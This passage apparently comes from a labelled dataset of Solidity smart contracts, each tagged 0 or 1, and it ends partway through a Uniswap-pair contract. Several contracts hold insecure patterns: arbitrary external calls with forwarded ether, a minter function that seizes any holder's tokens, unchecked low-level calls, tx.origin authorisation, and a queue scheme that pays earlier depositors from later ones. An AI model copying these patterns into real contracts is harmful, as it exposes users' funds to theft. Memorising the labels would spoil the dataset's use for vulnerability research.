_newWallet; } }
1
3,544
pragma solidity 0.5.3; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeERC20 { using SafeMath for uint256; function safeTransfer(IERC20 token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { require(token.transferFrom(from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(msg.sender, spender) == 0)); require(token.approve(spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); require(token.approve(spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); require(token.approve(spender, newAllowance)); } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused); _; } modifier whenPaused() { require(_paused); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } contract BlacklistAdminRole { using Roles for Roles.Role; event BlacklistAdminAdded(address indexed account); event BlacklistAdminRemoved(address indexed account); Roles.Role private _BlacklistAdmins; constructor () internal { _addBlacklistAdmin(msg.sender); } modifier onlyBlacklistAdmin() { require(isBlacklistAdmin(msg.sender)); _; } function isBlacklistAdmin(address account) public view returns (bool) { return _BlacklistAdmins.has(account); } function addBlacklistAdmin(address account) public onlyBlacklistAdmin { _addBlacklistAdmin(account); } function _addBlacklistAdmin(address account) internal { _BlacklistAdmins.add(account); emit BlacklistAdminAdded(account); } function _removeBlacklistAdmin(address account) internal { _BlacklistAdmins.remove(account); emit BlacklistAdminRemoved(account); } } contract BlacklistedRole is BlacklistAdminRole { using Roles for Roles.Role; event BlacklistedAdded(address indexed account); event BlacklistedRemoved(address indexed account); Roles.Role private _Blacklisteds; modifier onlyNotBlacklisted() { require(!isBlacklisted(msg.sender)); _; } function isBlacklisted(address account) public view returns (bool) { return _Blacklisteds.has(account); } function addBlacklisted(address account) public onlyBlacklistAdmin { _addBlacklisted(account); } function removeBlacklisted(address account) public onlyBlacklistAdmin { _removeBlacklisted(account); } function _addBlacklisted(address account) internal { _Blacklisteds.add(account); emit BlacklistedAdded(account); } function _removeBlacklisted(address account) internal { _Blacklisteds.remove(account); emit BlacklistedRemoved(account); } } contract EXA is ERC20Detailed, ERC20Pausable, MinterRole, BlacklistedRole { using SafeERC20 for ERC20; bool bCalled; constructor(string memory name, string memory symbol, uint8 decimals, uint256 _totalSupply) ERC20Pausable() ERC20Detailed(name, symbol, decimals) ERC20() public { uint256 _totalSupplyWithDecimals = _totalSupply * 10 ** uint256(decimals); mint(msg.sender, _totalSupplyWithDecimals); bCalled = false; } function approveAndCall( address _spender, uint256 _value, bytes memory _data ) public payable onlyNotBlacklisted whenNotPaused returns (bool) { require(bCalled == false); require(_spender != address(this)); require(approve(_spender, _value)); bCalled = true; _spender.call.value(msg.value)(_data); bCalled = false; return true; } function transfer(address to, uint256 value) public onlyNotBlacklisted returns (bool) { require(!isBlacklisted(to)); return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public onlyNotBlacklisted returns (bool) { require(!isBlacklisted(from)); require(!isBlacklisted(to)); return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public onlyNotBlacklisted returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public onlyNotBlacklisted returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public onlyNotBlacklisted returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } function mint(address to, uint256 value) public onlyNotBlacklisted onlyMinter returns (bool) { _mint(to, value); return true; } function sudoRetrieveFrom(address from, uint256 value) public onlyNotBlacklisted onlyMinter { super._transfer(from, msg.sender, value); } function sudoBurnFrom(address from, uint256 value) public onlyNotBlacklisted onlyMinter { _burn(from, value); } }
0
266
pragma solidity ^0.4.25; contract Multiplier2 { address constant private FATHER = 0x7CDfA222f37f5C4CCe49b3bBFC415E8C911D1cD8; address constant private TECH_AND_PROMO = 0xdA149b17C154e964456553C749B7B4998c152c9E; uint constant public FATHER_PERCENT = 6; uint constant public TECH_AND_PROMO_PERCENT = 1; uint constant public MAX_INVESTMENT = 3 ether; uint constant public MULTIPLIER = 111; struct Deposit { address depositor; uint128 deposit; uint128 expect; } Deposit[] private queue; uint public currentReceiverIndex = 0; mapping(address => uint) public numInQueue; function () public payable { if(msg.value > 0 && msg.sender != FATHER){ require(gasleft() >= 250000, "We require more gas!"); require(msg.value <= MAX_INVESTMENT); uint donation = msg.value*FATHER_PERCENT/100; require(FATHER.call.value(donation).gas(gasleft())()); require(numInQueue[msg.sender] == 0, "Only one deposit at a time!"); queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100))); numInQueue[msg.sender] = queue.length; uint support = msg.value*TECH_AND_PROMO_PERCENT/100; TECH_AND_PROMO.send(support); pay(); } } function pay() private { uint128 money = uint128(address(this).balance); for(uint i=currentReceiverIndex; i<queue.length; i++){ Deposit storage dep = queue[i]; if(money >= dep.expect){ dep.depositor.send(dep.expect); money -= dep.expect; delete numInQueue[dep.depositor]; delete queue[i]; }else{ dep.depositor.send(money); dep.expect -= money; break; } if(gasleft() <= 50000) break; } currentReceiverIndex = i; } function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){ Deposit storage dep = queue[idx]; return (dep.depositor, dep.deposit, dep.expect); } function getDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ if(queue[i].depositor == depositor) c++; } return c; } function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) { uint c = getDepositsCount(depositor); idxs = new uint[](c); deposits = new uint128[](c); expects = new uint128[](c); if(c > 0) { uint j = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ Deposit storage dep = queue[i]; if(dep.depositor == depositor){ idxs[j] = i; deposits[j] = dep.deposit; expects[j] = dep.expect; j++; } } } } function getQueueLength() public view returns (uint) { return queue.length - currentReceiverIndex; } }
0
2,333
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Crowdsale { using SafeMath for uint256; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.transfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); constructor(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; emit Closed(); wallet.transfer(address(this).balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Cpollo"; string public constant TOKEN_SYMBOL = "CPLO"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x1415241a0025290E03B97Ab3922DF216D0d77d15; uint public constant START_TIME = 1534737600; bool public constant CONTINUE_MINTING = false; } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function capReached() public view returns (bool) { return weiRaised >= cap; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } contract MintedCrowdsale is Crowdsale { function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } } contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public goal; RefundVault public vault; constructor(uint256 _goal) public { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; } function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } function goalReached() public view returns (bool) { return weiRaised >= goal; } function finalization() internal { if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } super.finalization(); } function _forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } } contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale { function hasStarted() public view returns (bool) { return now >= openingTime; } function startTime() public view returns (uint256) { return openingTime; } function endTime() public view returns (uint256) { return closingTime; } function hasClosed() public view returns (bool) { return super.hasClosed() || capReached(); } function hasEnded() public view returns (bool) { return hasClosed(); } function finalization() internal { super.finalization(); if (PAUSED) { MainToken(token).unpause(); } if (!CONTINUE_MINTING) { require(MintableToken(token).finishMinting()); } Ownable(token).transferOwnership(TARGET_USER); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate).div(1 ether); } } contract TemplateCrowdsale is Consts, MainCrowdsale , RefundableCrowdsale { event Initialized(); event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime); bool public initialized = false; constructor(MintableToken _token) public Crowdsale(200000 * TOKEN_DECIMAL_MULTIPLIER, 0x1415241a0025290E03B97Ab3922DF216D0d77d15, _token) TimedCrowdsale(START_TIME > now ? START_TIME : now, 1538366400) CappedCrowdsale(50000000000000000000000) RefundableCrowdsale(300000000000000000000) { } function init() public onlyOwner { require(!initialized); initialized = true; if (PAUSED) { MainToken(token).pause(); } address[4] memory addresses = [address(0x1415241a0025290e03b97ab3922df216d0d77d15),address(0x1415241a0025290e03b97ab3922df216d0d77d15),address(0x1415241a0025290e03b97ab3922df216d0d77d15),address(0xf0cc0bd6f0b597d8d9e1f4e11785764c0d171499)]; uint[4] memory amounts = [uint(1500000000000000000000000000),uint(1500000000000000000000000000),uint(2000000000000000000000000000),uint(5000000000000000000000000000)]; uint64[4] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(1538366461)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { MainToken(token).mint(addresses[i], amounts[i]); } else { MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } transferOwnership(TARGET_USER); emit Initialized(); } function setStartTime(uint _startTime) public onlyOwner { require(now < openingTime); require(_startTime > openingTime); require(_startTime < closingTime); emit TimesChanged(_startTime, closingTime, openingTime, closingTime); openingTime = _startTime; } function setEndTime(uint _endTime) public onlyOwner { require(now < closingTime); require(now < _endTime); require(_endTime > openingTime); emit TimesChanged(openingTime, _endTime, openingTime, closingTime); closingTime = _endTime; } function setTimes(uint _startTime, uint _endTime) public onlyOwner { require(_endTime > _startTime); uint oldStartTime = openingTime; uint oldEndTime = closingTime; bool changed = false; if (_startTime != oldStartTime) { require(_startTime > now); require(now < oldStartTime); require(_startTime > oldStartTime); openingTime = _startTime; changed = true; } if (_endTime != oldEndTime) { require(now < oldEndTime); require(now < _endTime); closingTime = _endTime; changed = true; } if (changed) { emit TimesChanged(openingTime, _endTime, openingTime, closingTime); } } }
1
4,892
pragma solidity ^0.4.25; contract MultiTransfer { function multiTransfer(address[] _addresses, uint256 amount) payable { for (uint256 i = 0; i < _addresses.length; i++) { _addresses[i].call.value(amount).gas(21000)(); } } function() payable {} }
0
2,111
pragma solidity 0.4.15; contract ERC20 { function totalSupply() constant returns (uint256 totalSupply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _recipient, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _recipient, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _recipient, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is ERC20 { uint256 public totalSupply; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; modifier when_can_transfer(address _from, uint256 _value) { if (balances[_from] >= _value) _; } modifier when_can_receive(address _recipient, uint256 _value) { if (balances[_recipient] + _value > balances[_recipient]) _; } modifier when_is_allowed(address _from, address _delegate, uint256 _value) { if (allowed[_from][_delegate] >= _value) _; } function transfer(address _recipient, uint256 _value) when_can_transfer(msg.sender, _value) when_can_receive(_recipient, _value) returns (bool o_success) { balances[msg.sender] -= _value; balances[_recipient] += _value; Transfer(msg.sender, _recipient, _value); return true; } function transferFrom(address _from, address _recipient, uint256 _value) when_can_transfer(_from, _value) when_can_receive(_recipient, _value) when_is_allowed(_from, msg.sender, _value) returns (bool o_success) { allowed[_from][msg.sender] -= _value; balances[_from] -= _value; balances[_recipient] += _value; Transfer(_from, _recipient, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool o_success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 o_remaining) { return allowed[_owner][_spender]; } } contract ZBCToken is StandardToken { string public name = "ZBCoin"; string public symbol = "ZBC"; uint public decimals = 3; uint public constant MAX_SUPPLY = 300000000000; address public ownerAddress; bool public halted; mapping(address => uint256) public issuedTokens; modifier only_owner() { if (msg.sender != ownerAddress) throw; _; } modifier is_not_halted() { if (halted) throw; _; } event Issue(address indexed _recipient, uint _amount); function ZBCToken () { ownerAddress = msg.sender; balances[this] += MAX_SUPPLY; totalSupply += MAX_SUPPLY; } function toggleHalt(bool _halted) only_owner { halted = _halted; } function issueToken(address _recipent, uint _amount) only_owner is_not_halted returns (bool o_success) { this.transfer(_recipent, _amount); Issue(_recipent, _amount); issuedTokens[_recipent] += _amount; return true; } function transfer(address _recipient, uint _amount) is_not_halted returns (bool o_success) { return super.transfer(_recipient, _amount); } function transferFrom(address _from, address _recipient, uint _amount) is_not_halted returns (bool o_success) { return super.transferFrom(_from, _recipient, _amount); } }
1
2,696
pragma solidity =0.6.2; interface IERC20 { function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } interface IUniswapV2Pair { function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function burn(address to) external returns (uint amount0, uint amount1); function skim(address to) external; function sync() external; } library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'MY ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'MY ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'MY ds-math-mul-overflow'); } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "MY SafeMath: division by zero"); return a / b; } } contract SLQ{ using SafeMath for uint; address payable public owner; address public weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address send; uint256 AmountA; uint256 AmountB; uint256 blocked; uint256 timed = 0; uint256 timer = 50; constructor() public payable{ owner = msg.sender; } modifier onlyOwner(){ require(tx.origin==owner); _; } function getLQ(address pair, uint256 LP) public payable { require(msg.value >= 0.005 ether); pair.call(abi.encodeWithSignature("sync()")); 